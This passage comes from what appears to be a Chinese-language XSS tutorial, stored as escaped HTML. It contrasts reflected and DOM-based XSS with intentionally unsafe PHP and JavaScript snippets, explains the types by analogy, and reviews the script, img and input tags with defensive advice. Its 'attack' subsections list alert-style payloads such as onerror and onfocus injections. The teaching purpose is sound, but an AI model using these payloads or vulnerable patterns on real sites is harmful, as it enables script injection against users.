DOM\u578bXSS\u7684\u9632\u5fa1\u6838\u5fc3\u662f\u89c4\u8303\u524d\u7aef\u4ee3\u7801\u7f16\u5199，\u907f\u514d\u76f4\u63a5\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3aHTML\/JS\u6267\u884c，\u4ece\u6e90\u5934\u5207\u65ad\u653b\u51fb\u8def\u5f84 🛡\ufe0f\u3002<\/p>\n
2.3.3.8. \u4e0e\u53cd\u5c04\u578bxss\u533a\u522b<\/h6>\n
\u53cd\u5c04\u578bXSS\u548cDOM\u578bXSS\u5747\u5c5e\u4e8e\u975e\u6301\u4e45\u578bXSS，\u4f46\u4e24\u8005\u5728\u6570\u636e\u6d41\u8f6c\u8def\u5f84\u3001\u89e6\u53d1\u9636\u6bb5\u548c\u6f0f\u6d1e\u4f4d\u7f6e\u4e0a\u5b58\u5728\u672c\u8d28\u5dee\u5f02，\u4ee5\u4e0b\u662f\u5173\u952e\u5bf9\u6bd4：<\/p>\n
2.3.3.8.1. \u6838\u5fc3\u533a\u522b：\u6570\u636e\u662f\u5426\u7ecf\u8fc7\u670d\u52a1\u5668<\/h6>\n
\n\n\n\n\u7ef4\u5ea6<\/p>\n<\/td>\n
\n\u53cd\u5c04\u578bXSS<\/p>\n<\/td>\n
\nDOM\u578bXSS<\/p>\n<\/td>\n<\/tr>\n
\n\n\u6570\u636e\u6d41\u8f6c\u8def\u5f84<\/p>\n<\/td>\n
\n\u6076\u610f\u4ee3\u7801\u901a\u8fc7URL\/\u8868\u5355\u63d0\u4ea4\u2192\u670d\u52a1\u5668\u63a5\u6536\u5e76\u8fd4\u56de\u2192\u6d4f\u89c8\u5668\u6267\u884c<\/p>\n<\/td>\n
\n\u6076\u610f\u4ee3\u7801\u76f4\u63a5\u5728\u5ba2\u6237\u7aefDOM\u64cd\u4f5c\u4e2d\u6ce8\u5165\u2192\u65e0\u9700\u670d\u52a1\u5668\u53c2\u4e0e<\/p>\n<\/td>\n<\/tr>\n
\n\n\u89e6\u53d1\u9636\u6bb5<\/p>\n<\/td>\n
\n\u670d\u52a1\u5668\u8fd4\u56de\u7684\u54cd\u5e94\u4e2d\u5df2\u5305\u542b\u6076\u610f\u4ee3\u7801，\u6d4f\u89c8\u5668\u52a0\u8f7d\u65f6\u6267\u884c<\/p>\n<\/td>\n
\n\u670d\u52a1\u5668\u8fd4\u56de\u7684\u54cd\u5e94\u4e2d\u65e0\u6076\u610f\u4ee3\u7801，\u524d\u7aefJS\u64cd\u4f5cDOM\u65f6\u52a8\u6001\u6ce8\u5165\u6267\u884c<\/p>\n<\/td>\n<\/tr>\n
\n\n\u6f0f\u6d1e\u4f4d\u7f6e<\/p>\n<\/td>\n
\n\u540e\u7aef\u4ee3\u7801\u672a\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4\/\u8f6c\u4e49<\/p>\n<\/td>\n
\n\u524d\u7aefJS\u672a\u5bf9DOM\u64cd\u4f5c\u7684\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4\/\u8f6c\u4e49<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.3.3.8.2. \u5178\u578b\u793a\u4f8b\u5bf9\u6bd4<\/h6>\n
- \u53cd\u5c04\u578bXSS\u793a\u4f8b \u540e\u7aef\u4ee3\u7801\u76f4\u63a5\u5c06URL\u53c2\u6570\u8fd4\u56de\u7ed9\u9875\u9762（\u672a\u8f6c\u4e49）：<\/li>\n
\/\/ \u540e\u7aefPHP\u4ee3\u7801（\u4e0d\u5b89\u5168）
\n$keyword = $_GET['keyword'];
\necho "<div>\u641c\u7d22\u7ed3\u679c：$keyword<\/div>"; <\/p>\n
\u653b\u51fb\u8005\u6784\u9020\u94fe\u63a5：<\/p>\n
http:\/\/example.com\/search?keyword=<script>alert('\u53cd\u5c04\u578bXSS')<\/script> <\/p>\n
\u7528\u6237\u8bbf\u95ee\u540e，\u670d\u52a1\u5668\u8fd4\u56de\u7684HTML\u4e2d\u5df2\u5305\u542b<script>\u6807\u7b7e，\u6d4f\u89c8\u5668\u76f4\u63a5\u6267\u884c\u3002<\/p>\n
- DOM\u578bXSS\u793a\u4f8b \u524d\u7aef\u4ee3\u7801\u76f4\u63a5\u8bfb\u53d6URL\u53c2\u6570\u5e76\u63d2\u5165DOM（\u672a\u8f6c\u4e49）：<\/li>\n
\/\/ \u524d\u7aefJS\u4ee3\u7801（\u4e0d\u5b89\u5168）
\nlet keyword = new URLSearchParams(location.search).get('keyword');
\ndocument.getElementById('result').innerHTML = keyword; <\/p>\n
\u653b\u51fb\u8005\u6784\u9020\u76f8\u540c\u94fe\u63a5，\u4f46\u670d\u52a1\u5668\u8fd4\u56de\u7684HTML\u4e2d\u4e0d\u5305\u542b\u6076\u610f\u4ee3\u7801，\u524d\u7aefJS\u5c06\u53c2\u6570\u63d2\u5165DOM\u65f6\u89e6\u53d1\u6267\u884c\u3002<\/p>\n
2.3.3.8.3. \u5173\u952e\u8bc6\u522b\u65b9\u6cd5<\/h6>\n\n- \u53cd\u5c04\u578bXSS：\u5728\u6d4f\u89c8\u5668\u7684\u54cd\u5e94\u6570\u636e\u5305\u4e2d\u80fd\u76f4\u63a5\u770b\u5230\u6076\u610f\u4ee3\u7801（\u5982<script>\u6807\u7b7e）\u3002<\/li>\n
- DOM\u578bXSS：\u54cd\u5e94\u6570\u636e\u5305\u4e2d\u65e0\u6076\u610f\u4ee3\u7801，\u9700\u67e5\u770b\u524d\u7aefJS\u662f\u5426\u5b58\u5728\u76f4\u63a5\u64cd\u4f5cDOM\u7684\u5371\u9669\u903b\u8f91（\u5982innerHTML\u3001document.write）\u3002<\/li>\n<\/ul>\n
2.3.3.8.4. \u9632\u5fa1\u7b56\u7565\u5dee\u5f02<\/h6>\n\n- \u53cd\u5c04\u578bXSS：\u9700\u5728\u540e\u7aef\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4\/\u8f6c\u4e49（\u5982PHP\u7684htmlspecialchars()），\u5e76\u5728\u8f93\u51fa\u65f6\u7f16\u7801\u3002<\/li>\n
- DOM\u578bXSS：\u9700\u5728\u524d\u7aef\u5bf9\u6240\u6709DOM\u64cd\u4f5c\u7684\u8f93\u5165\u8fdb\u884c\u8f6c\u4e49（\u5982\u4f7f\u7528textContent\u66ff\u4ee3innerHTML），\u6216\u901a\u8fc7CSP\u9650\u5236\u811a\u672c\u6267\u884c\u3002<\/li>\n<\/ul>\n
\u4e24\u8005\u7684\u9632\u5fa1\u6838\u5fc3\u5747\u4e3a\u8f93\u5165\u9a8c\u8bc1+\u8f93\u51fa\u7f16\u7801，\u4f46\u53cd\u5c04\u578b\u9700\u5173\u6ce8\u540e\u7aef，DOM\u578b\u9700\u805a\u7126\u524d\u7aef\u4ee3\u7801\u5b89\u5168 🛡\ufe0f\u3002<\/p>\n
2.3.4. \u603b\u7ed3\u3010\u767d\u75f4\u4e00\u70b9\u3011<\/h5>\n
XSS（\u8de8\u7ad9\u811a\u672c\u653b\u51fb）\u672c\u8d28\u662f\u653b\u51fb\u8005\u628a\u6076\u610f\u4ee3\u7801\u85cf\u8fdb\u7f51\u9875，\u8ba9\u7528\u6237\u6d4f\u89c8\u5668\u6267\u884c，\u4ece\u800c\u7a83\u53d6\u4fe1\u606f\u6216\u63a7\u5236\u8d26\u6237\u3002<\/p>\n
\u4e09\u79cd\u7c7b\u578b\u7684\u6838\u5fc3\u533a\u522b\u5728\u4e8e\u6076\u610f\u4ee3\u7801\u201c\u85cf\u5728\u54ea\u91cc\u201d\u548c\u201c\u600e\u4e48\u89e6\u53d1\u201d，\u7528\u751f\u6d3b\u5316\u573a\u666f\u7c7b\u6bd4\u66f4\u6613\u61c2：<\/p>\n
2.3.4.1. \u5b58\u50a8\u578bXSS：\u201c\u85cf\u5728\u7f51\u7ad9\u6570\u636e\u5e93\u91cc\u7684\u6bd2\u8bc4\u8bba\u201d<\/h6>\n\n- \u901a\u4fd7\u7406\u89e3：\u5c31\u50cf\u6709\u4eba\u5728\u8bba\u575b\u53d1\u4e86\u4e00\u6761\u5e26\u201c\u6bd2\u201d\u7684\u8bc4\u8bba（\u542b\u6076\u610f\u4ee3\u7801），\u8fd9\u6761\u8bc4\u8bba\u88ab\u7f51\u7ad9\u6c38\u4e45\u5b58\u5728\u6570\u636e\u5e93\u91cc\u3002\u5176\u4ed6\u7528\u6237\u53ea\u8981\u6253\u5f00\u8fd9\u4e2a\u5e16\u5b50，\u7f51\u7ad9\u5c31\u4f1a\u628a\u8fd9\u6761\u201c\u6bd2\u8bc4\u8bba\u201d\u4ece\u6570\u636e\u5e93\u91cc\u8c03\u51fa\u6765\u663e\u793a，\u7528\u6237\u6d4f\u89c8\u5668\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002<\/li>\n
- \u4f8b\u5b50：\u653b\u51fb\u8005\u5728\u8bc4\u8bba\u533a\u53d1<script>\u5077\u4f60\u5bc6\u7801<\/script>，\u7f51\u7ad9\u6ca1\u8fc7\u6ee4\u5c31\u5b58\u8d77\u6765\u3002\u6240\u6709\u4eba\u770b\u8fd9\u4e2a\u8bc4\u8bba\u65f6，\u6d4f\u89c8\u5668\u90fd\u4f1a\u6267\u884c\u811a\u672c\u5077\u5bc6\u7801\u3002<\/li>\n
- \u7279\u70b9：\u6301\u4e45\u5316\u653b\u51fb，\u53ea\u8981\u7f51\u7ad9\u4e0d\u5220\u8fd9\u6761\u201c\u6bd2\u5185\u5bb9\u201d，\u6bcf\u4e2a\u8bbf\u95ee\u7684\u4eba\u90fd\u4f1a\u4e2d\u62db\u3002<\/li>\n<\/ul>\n
2.3.4.2. \u53cd\u5c04\u578bXSS：\u201c\u9493\u9c7c\u94fe\u63a5\u91cc\u7684\u6bd2\u53c2\u6570\u201d<\/h6>\n\n- \u901a\u4fd7\u7406\u89e3：\u653b\u51fb\u8005\u505a\u4e86\u4e2a\u201c\u9493\u9c7c\u94fe\u63a5\u201d，\u91cc\u9762\u85cf\u7740\u6076\u610f\u4ee3\u7801（\u6bd4\u5982?search=<script>\u5077\u4f60\u4fe1\u606f<\/script>）\u3002\u7528\u6237\u70b9\u4e86\u94fe\u63a5\u540e，\u7f51\u7ad9\u628a\u8fd9\u4e2a\u201c\u6bd2\u53c2\u6570\u201d\u76f4\u63a5\u201c\u53cd\u5c04\u201d\u56de\u7528\u6237\u6d4f\u89c8\u5668，\u6d4f\u89c8\u5668\u4ee5\u4e3a\u662f\u7f51\u7ad9\u7ed9\u7684\u6b63\u5e38\u5185\u5bb9，\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002<\/li>\n
- \u4f8b\u5b50：\u4f60\u6536\u5230\u4e00\u6761\u201c\u70b9\u51fb\u67e5\u770b\u4e2d\u5956\u4fe1\u606f\u201d\u7684\u94fe\u63a5，\u70b9\u8fdb\u53bb\u540e\u7f51\u7ad9\u663e\u793a\u201c\u641c\u7d22\u7ed3\u679c：<script>\u5077\u4f60Cookie<\/script>\u201d，\u5176\u5b9e\u662f\u7f51\u7ad9\u628a\u94fe\u63a5\u91cc\u7684\u6076\u610f\u4ee3\u7801\u76f4\u63a5\u8fd4\u56de\u7ed9\u4f60\u6267\u884c\u3002<\/li>\n
- \u7279\u70b9：\u4e00\u6b21\u6027\u653b\u51fb，\u6076\u610f\u4ee3\u7801\u4e0d\u4f1a\u5b58\u5728\u7f51\u7ad9\u91cc，\u53ea\u6709\u70b9\u4e86\u9493\u9c7c\u94fe\u63a5\u7684\u4eba\u624d\u4f1a\u4e2d\u62db\u3002<\/li>\n<\/ul>\n
2.3.4.3. DOM\u578bXSS：\u201c\u7f51\u9875\u81ea\u5df1\u628a\u6bd2\u5403\u4e0b\u53bb\u201d<\/h6>\n\n- \u901a\u4fd7\u7406\u89e3：\u7f51\u9875\u7684\u524d\u7aef\u4ee3\u7801（\u6bd4\u5982JavaScript）\u6709\u4e2a\u201c\u574f\u4e60\u60ef\u201d\u2014\u2014\u76f4\u63a5\u628a\u7528\u6237\u8f93\u5165（\u6bd4\u5982URL\u91cc\u7684\u5185\u5bb9\u3001\u641c\u7d22\u6846\u8f93\u5165）\u4e0d\u52a0\u8fc7\u6ee4\u5c31\u653e\u5230\u9875\u9762\u4e0a\u3002\u653b\u51fb\u8005\u5229\u7528\u8fd9\u4e2a\u201c\u574f\u4e60\u60ef\u201d，\u628a\u6076\u610f\u4ee3\u7801\u85cf\u5728\u7528\u6237\u8f93\u5165\u91cc，\u7f51\u9875\u81ea\u5df1\u628a\u4ee3\u7801\u201c\u5403\u201d\u8fdb\u53bb\u6267\u884c\u3002<\/li>\n
- \u4f8b\u5b50：\u7f51\u9875\u641c\u7d22\u6846\u5b9e\u65f6\u663e\u793a\u4f60\u8f93\u5165\u7684\u5185\u5bb9，\u4f60\u8f93\u5165<script>\u5f39\u5e7f\u544a<\/script>，\u7f51\u9875\u76f4\u63a5\u628a\u8fd9\u6bb5\u5185\u5bb9\u653e\u5230\u9875\u9762\u4e0a，\u6d4f\u89c8\u5668\u5c31\u5f39\u5e7f\u544a\u4e86\u3002<\/li>\n
- \u7279\u70b9：\u7eaf\u524d\u7aef\u653b\u51fb，\u6076\u610f\u4ee3\u7801\u6839\u672c\u6ca1\u7ecf\u8fc7\u7f51\u7ad9\u670d\u52a1\u5668，\u662f\u7f51\u9875\u81ea\u5df1\u7684\u4ee3\u7801\u201c\u4e0d\u8bbe\u9632\u201d\u5bfc\u81f4\u7684\u3002<\/li>\n<\/ul>\n
2.3.4.4. \u4e00\u53e5\u8bdd\u533a\u5206\u6838\u5fc3<\/h6>\n\n- \u5b58\u50a8\u578b：\u6076\u610f\u4ee3\u7801\u5b58\u5728\u7f51\u7ad9\u91cc，\u8c01\u770b\u8c01\u4e2d\u62db；<\/li>\n
- \u53cd\u5c04\u578b：\u6076\u610f\u4ee3\u7801\u5728\u9493\u9c7c\u94fe\u63a5\u91cc，\u70b9\u94fe\u63a5\u624d\u4e2d\u62db；<\/li>\n
- DOM\u578b：\u6076\u610f\u4ee3\u7801\u5728\u7528\u6237\u8f93\u5165\u91cc，\u7f51\u9875\u81ea\u5df1\u6267\u884c\u4e2d\u62db\u3002<\/li>\n<\/ul>\n
\u9632\u5fa1\u7684\u6838\u5fc3\u90fd\u662f**\u201c\u8fc7\u6ee4\u6076\u610f\u4ee3\u7801\u201d**：\u5b58\u50a8\u578b\u548c\u53cd\u5c04\u578b\u8981\u5728\u7f51\u7ad9\u540e\u53f0\u8fc7\u6ee4，DOM\u578b\u8981\u5728\u524d\u7aef\u4ee3\u7801\u91cc\u8fc7\u6ee4，\u522b\u8ba9\u6076\u610f\u4ee3\u7801\u201c\u6df7\u8fdb\u201d\u7f51\u9875\u6267\u884c 🛡\ufe0f\u3002<\/p>\n
2.4. \u5e38\u89c1XSS\u653b\u51fb\u65b9\u5f0f\u3010\u5c5e\u6027\u4e0e\u6807\u7b7e\u3011<\/h4>\n
\u5217\u4e3e\u7684\u6807\u7b7e\u5927\u90e8\u5206\u662f\u53ef\u4ee5\u81ea\u52a8\u89e6\u53d1js\u4ee3\u7801\u7684，\u65e0\u9700\u7528\u6237\u53bb\u4ea4\u4e92<\/p>\n
2.4.1. scirpt \u6807\u7b7e<\/h5>\n
<script>\u6807\u7b7e\u662fHTML\u4e2d\u5b9a\u4e49\u6216\u5f15\u5165JavaScript\u4ee3\u7801\u7684\u6838\u5fc3\u6807\u7b7e，\u6d4f\u89c8\u5668\u9047\u5230\u8be5\u6807\u7b7e\u65f6\u4f1a\u6682\u505c\u89e3\u6790HTML，\u4f18\u5148\u6267\u884c\u5176\u4e2d\u7684\u811a\u672c（\u7279\u6b8a\u573a\u666f\u9664\u5916）\u3002<\/p>\n
2.4.1.1. \u57fa\u7840\u7528\u6cd5<\/h6>\n\n- \u5185\u5d4c\u811a\u672c：\u76f4\u63a5\u5728\u6807\u7b7e\u5185\u5199\u4ee3\u7801<\/li>\n<\/ul>\n
<script>
\n alert("\u8fd9\u662f\u5185\u5d4c\u811a\u672c");
\n<\/script> <\/p>\n
\n- \u5916\u90e8\u811a\u672c：\u901a\u8fc7src\u5c5e\u6027\u5f15\u5165\u5916\u90e8.js\u6587\u4ef6<\/li>\n<\/ul>\n
<script src="https:\/\/example.com\/script.js"><\/script> <\/p>\n
2.4.1.2. \u5173\u952e\u5c5e\u6027<\/h6>\n\n- src：\u6307\u5b9a\u5916\u90e8\u811a\u672c\u6587\u4ef6\u7684URL（\u5f15\u5165\u5916\u90e8\u811a\u672c\u65f6\u5fc5\u7528）\u3002<\/li>\n
- async：\u5f02\u6b65\u52a0\u8f7d\u811a\u672c，\u52a0\u8f7d\u5b8c\u6210\u540e\u7acb\u5373\u6267\u884c（\u4e0d\u963b\u585eHTML\u89e3\u6790，\u811a\u672c\u6267\u884c\u987a\u5e8f\u4e0d\u786e\u5b9a）\u3002<\/li>\n
- defer：\u5ef6\u8fdf\u6267\u884c\u811a\u672c，HTML\u89e3\u6790\u5b8c\u6210\u540e\u6309\u987a\u5e8f\u6267\u884c（\u9002\u5408\u4f9d\u8d56DOM\u7684\u811a\u672c）\u3002<\/li>\n
- type：\u6307\u5b9a\u811a\u672c\u7c7b\u578b，\u9ed8\u8ba4text\/javascript（\u53ef\u7701\u7565）；\u82e5\u4e3amodule\u5219\u8868\u793aES6\u6a21\u5757\u3002<\/li>\n<\/ul>\n
2.4.1.3. \u5b89\u5168\u6ce8\u610f\u4e8b\u9879<\/h6>\n\n- \u907f\u514d\u5185\u8054\u811a\u672c：\u76f4\u63a5\u5199\u5728HTML\u4e2d\u7684\u811a\u672c\u6613\u88abXSS\u653b\u51fb\u5229\u7528（\u5982\u6ce8\u5165<script>\u6076\u610f\u4ee3\u7801<\/script>）\u3002<\/li>\n
- \u9650\u5236\u5916\u90e8\u811a\u672c\u6e90：\u901a\u8fc7CSP（\u5185\u5bb9\u5b89\u5168\u7b56\u7565） \u9650\u5236src\u53ea\u80fd\u52a0\u8f7d\u53ef\u4fe1\u57df\u540d\u7684\u811a\u672c（\u5982Content-Security-Policy: script-src 'self' https:\/\/trusted.com）\u3002<\/li>\n
- \u8b66\u60d5eval()：\u52a8\u6001\u6267\u884c\u5b57\u7b26\u4e32\u7684eval()\u51fd\u6570\u98ce\u9669\u6781\u9ad8，\u6613\u88ab\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u3002<\/li>\n<\/ul>\n
2.4.1.4. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
<script>\u662fJavaScript\u7684\u201c\u5165\u53e3\u201d，\u5408\u7406\u4f7f\u7528async\/defer\u63d0\u5347\u9875\u9762\u6027\u80fd，\u901a\u8fc7CSP\u548c\u8f93\u5165\u8fc7\u6ee4\u9632\u8303XSS\u653b\u51fb 🛡\ufe0f\u3002<\/p>\n
2.4.1.5. \u653b\u51fb<\/h6>\n
<script>alert(1);<\/script>
\n <script>alert("xss");<\/script> <\/p>\n
2.4.2. img \u6807\u7b7e<\/h5>\n
<img>\u6807\u7b7e\u662fHTML\u4e2d\u5d4c\u5165\u56fe\u50cf\u7684\u4e13\u7528\u6807\u7b7e，\u5c5e\u4e8e\u7a7a\u5143\u7d20（\u65e0\u9700\u95ed\u5408\u6807\u7b7e），\u6d4f\u89c8\u5668\u901a\u8fc7\u8be5\u6807\u7b7e\u52a0\u8f7d\u5e76\u6e32\u67d3\u56fe\u7247\u8d44\u6e90\u3002<\/p>\n
2.4.2.1. \u57fa\u7840\u7528\u6cd5<\/h6>\n
<img src="image.jpg" alt="\u63cf\u8ff0\u56fe\u7247\u5185\u5bb9" width="300" height="200"> <\/p>\n
\n- src：\u5fc5\u9009\u5c5e\u6027，\u6307\u5b9a\u56fe\u7247\u7684URL（\u672c\u5730\u8def\u5f84\u6216\u7f51\u7edc\u5730\u5740）\u3002<\/li>\n
- alt：\u5fc5\u9009\u5c5e\u6027，\u56fe\u7247\u65e0\u6cd5\u52a0\u8f7d\u65f6\u663e\u793a\u7684\u66ff\u4ee3\u6587\u672c（\u63d0\u5347\u53ef\u8bbf\u95ee\u6027）\u3002<\/li>\n<\/ul>\n
2.4.2.2. \u5173\u952e\u5c5e\u6027<\/h6>\n
\n\n\n\n\u5c5e\u6027<\/p>\n<\/td>\n
\n\u4f5c\u7528<\/p>\n<\/td>\n<\/tr>\n
\n\nsrc<\/p>\n<\/td>\n
\n\u56fe\u7247\u8d44\u6e90\u5730\u5740（\u652f\u6301JPG\/PNG\/GIF\/WebP\u7b49\u683c\u5f0f）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nalt<\/p>\n<\/td>\n
\n\u66ff\u4ee3\u6587\u672c（\u5c4f\u5e55\u9605\u8bfb\u5668\u4f1a\u8bfb\u53d6，\u641c\u7d22\u5f15\u64ce\u4f9d\u8d56\u6b64\u7406\u89e3\u56fe\u7247\u5185\u5bb9）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nwidth\/height<\/p>\n<\/td>\n
\n\u56fe\u7247\u663e\u793a\u5c3a\u5bf8（\u5efa\u8bae\u540c\u65f6\u8bbe\u7f6e，\u907f\u514d\u9875\u9762\u5e03\u5c40\u6296\u52a8）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nloading<\/p>\n<\/td>\n
\n\u61d2\u52a0\u8f7d\u63a7\u5236：lazy（\u6eda\u52a8\u5230\u53ef\u89c6\u533a\u57df\u518d\u52a0\u8f7d）\u3001eager（\u7acb\u5373\u52a0\u8f7d）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nsrcset\/sizes<\/p>\n<\/td>\n
\n\u54cd\u5e94\u5f0f\u56fe\u7247：\u6839\u636e\u8bbe\u5907\u5c3a\u5bf8\u52a0\u8f7d\u4e0d\u540c\u5206\u8fa8\u7387\u7684\u56fe\u7247（\u4f18\u5316\u6027\u80fd）\u3002<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.4.2.3. \u5b89\u5168\u4e0e\u6027\u80fd\u6ce8\u610f\u4e8b\u9879<\/h6>\n\n- \u9632\u8303XSS\u653b\u51fb：<\/li>\n<\/ul>\n
\n- \n
\n- \u907f\u514d\u76f4\u63a5\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3asrc\u503c（\u5982src="javascript:alert(1)"），\u9700\u540e\u7aef\u8fc7\u6ee4\u6216\u8f6c\u4e49\u3002<\/li>\n
- \u9650\u5236\u56fe\u7247\u6e90\u4e3a\u53ef\u4fe1\u57df\u540d（\u901a\u8fc7CSP\u7684img-src\u6307\u4ee4）\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
\n- \u6027\u80fd\u4f18\u5316：<\/li>\n<\/ul>\n
\n- \n
\n- \u4f7f\u7528loading="lazy"\u5b9e\u73b0\u61d2\u52a0\u8f7d，\u51cf\u5c11\u521d\u59cb\u52a0\u8f7d\u65f6\u95f4\u3002<\/li>\n
- \u4f18\u5148\u4f7f\u7528WebP\u683c\u5f0f（\u4f53\u79ef\u5c0f\u3001\u8d28\u91cf\u9ad8），\u901a\u8fc7picture\u6807\u7b7e\u964d\u7ea7\u517c\u5bb9\u65e7\u6d4f\u89c8\u5668\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
2.4.2.4. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
<img>\u662f\u7f51\u9875\u56fe\u50cf\u7684\u201c\u8f7d\u4f53\u201d，alt\u548cloading\u662f\u63d0\u5347\u53ef\u8bbf\u95ee\u6027\u4e0e\u6027\u80fd\u7684\u5173\u952e，\u9700\u8b66\u60d5src\u6ce8\u5165\u98ce\u9669 🛡\ufe0f\u3002<\/p>\n
2.4.2.5. \u653b\u51fb<\/h6>\n
<img src=1 onerror=alert(1);>
\n<img src=1 onerror=alert("xss");><\/p>\n
2.4.3. input \u6807\u7b7e<\/h5>\n
<input>\u6807\u7b7e\u662fHTML\u4e2d\u6536\u96c6\u7528\u6237\u8f93\u5165\u7684\u6838\u5fc3\u8868\u5355\u5143\u7d20，\u901a\u8fc7type\u5c5e\u6027\u652f\u6301\u591a\u79cd\u8f93\u5165\u7c7b\u578b（\u5982\u6587\u672c\u3001\u5bc6\u7801\u3001\u5355\u9009\u6846\u7b49），\u662f\u4ea4\u4e92\u578b\u7f51\u9875\u7684\u57fa\u7840\u7ec4\u4ef6\u3002<\/p>\n
2.4.3.1. \u57fa\u7840\u7528\u6cd5<\/h6>\n
<input type="text" name="username" placeholder="\u8bf7\u8f93\u5165\u7528\u6237\u540d" required> <\/p>\n
\n- type：\u5fc5\u9009\u5c5e\u6027，\u51b3\u5b9a\u8f93\u5165\u6846\u7684\u529f\u80fd（\u5982text\u3001password\u3001email\u7b49）\u3002<\/li>\n
- name：\u8868\u5355\u63d0\u4ea4\u65f6\u7684\u53c2\u6570\u540d（\u540e\u7aef\u901a\u8fc7\u6b64\u83b7\u53d6\u503c）\u3002<\/li>\n
- placeholder：\u8f93\u5165\u6846\u5185\u7684\u63d0\u793a\u6587\u672c（\u4e0d\u63d0\u4ea4）\u3002<\/li>\n<\/ul>\n
2.4.3.2. \u5e38\u7528type\u7c7b\u578b<\/h6>\n
\n\n\n\n\u7c7b\u578b\u503c<\/p>\n<\/td>\n
\n\u529f\u80fd\u63cf\u8ff0<\/p>\n<\/td>\n<\/tr>\n
\n\ntext<\/p>\n<\/td>\n
\n\u5355\u884c\u6587\u672c\u8f93\u5165（\u9ed8\u8ba4\u7c7b\u578b）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\npassword<\/p>\n<\/td>\n
\n\u5bc6\u7801\u8f93\u5165（\u8f93\u5165\u5185\u5bb9\u9690\u85cf\u4e3a\u5706\u70b9）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nemail<\/p>\n<\/td>\n
\n\u90ae\u7bb1\u8f93\u5165（\u81ea\u52a8\u9a8c\u8bc1\u683c\u5f0f，\u79fb\u52a8\u7aef\u5f39\u51fa\u90ae\u7bb1\u952e\u76d8）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\ncheckbox<\/p>\n<\/td>\n
\n\u590d\u9009\u6846（\u53ef\u591a\u9009，\u9700\u914d\u5408value\u548cname）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nradio<\/p>\n<\/td>\n
\n\u5355\u9009\u6846（\u540c\u4e00name\u4e0b\u53ea\u80fd\u9009\u4e00\u4e2a）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nfile<\/p>\n<\/td>\n
\n\u6587\u4ef6\u4e0a\u4f20（\u652f\u6301multiple\u5c5e\u6027\u591a\u9009\u6587\u4ef6）\u3002<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.4.3.3. \u5173\u952e\u5c5e\u6027<\/h6>\n\n- required：\u6807\u8bb0\u4e3a\u5fc5\u586b\u9879（\u63d0\u4ea4\u65f6\u81ea\u52a8\u9a8c\u8bc1）\u3002<\/li>\n
- maxlength：\u9650\u5236\u8f93\u5165\u5b57\u7b26\u6570（\u5982\u5bc6\u7801\u957f\u5ea6）\u3002<\/li>\n
- pattern：\u901a\u8fc7\u6b63\u5219\u8868\u8fbe\u5f0f\u9a8c\u8bc1\u8f93\u5165\u683c\u5f0f（\u5982pattern="[A-Za-z0-9]{6,}"\u9650\u5236\u5bc6\u7801\u4e3a6\u4f4d\u4ee5\u4e0a\u5b57\u6bcd\u6570\u5b57）\u3002<\/li>\n
- disabled：\u7981\u7528\u8f93\u5165\u6846（\u65e0\u6cd5\u7f16\u8f91，\u503c\u4e0d\u63d0\u4ea4）\u3002<\/li>\n
- readonly：\u53ea\u8bfb\u8f93\u5165\u6846（\u53ef\u67e5\u770b\u4f46\u65e0\u6cd5\u7f16\u8f91，\u503c\u4f1a\u63d0\u4ea4）\u3002<\/li>\n<\/ul>\n
2.4.3.4. \u5b89\u5168\u6ce8\u610f\u4e8b\u9879<\/h6>\n\n- \u9632\u8303XSS\u653b\u51fb：<\/li>\n<\/ul>\n
\n- \n
\n- \u540e\u7aef\u5fc5\u987b\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4\/\u8f6c\u4e49（\u5982\u5c06<\u8f6c\u4e49\u4e3a<），\u907f\u514d\u6ce8\u5165\u6076\u610f\u811a\u672c\u3002<\/li>\n
- \u907f\u514d\u4f7f\u7528type="button"\u6267\u884cJavaScript（\u4f18\u5148\u7528addEventListener\u7ed1\u5b9a\u4e8b\u4ef6）\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
\n- \u654f\u611f\u8f93\u5165\u4fdd\u62a4：<\/li>\n<\/ul>\n
\n- \n
\n- \u5bc6\u7801\u8f93\u5165\u7528type="password"，\u907f\u514d\u660e\u6587\u663e\u793a；\u91cd\u8981\u64cd\u4f5c\u9700\u4e8c\u6b21\u9a8c\u8bc1\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
2.4.3.5. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
<input>\u662f\u7528\u6237\u4e0e\u7f51\u9875\u4ea4\u4e92\u7684\u201c\u5165\u53e3\u201d，\u5408\u7406\u4f7f\u7528type\u548c\u9a8c\u8bc1\u5c5e\u6027\u63d0\u5347\u4f53\u9a8c，\u540e\u7aef\u8fc7\u6ee4\u662f\u9632\u8303\u6ce8\u5165\u653b\u51fb\u7684\u5173\u952e 🛡\ufe0f\u3002<\/p>\n
2.4.3.6. \u653b\u51fb<\/h6>\n
onfocus \u4e8b\u4ef6\u5728\u5bf9\u8c61\u83b7\u5f97\u7126\u70b9\u65f6\u53d1\u751f：<\/p>\n
<input onfocus=alert(1);> <\/p>\n
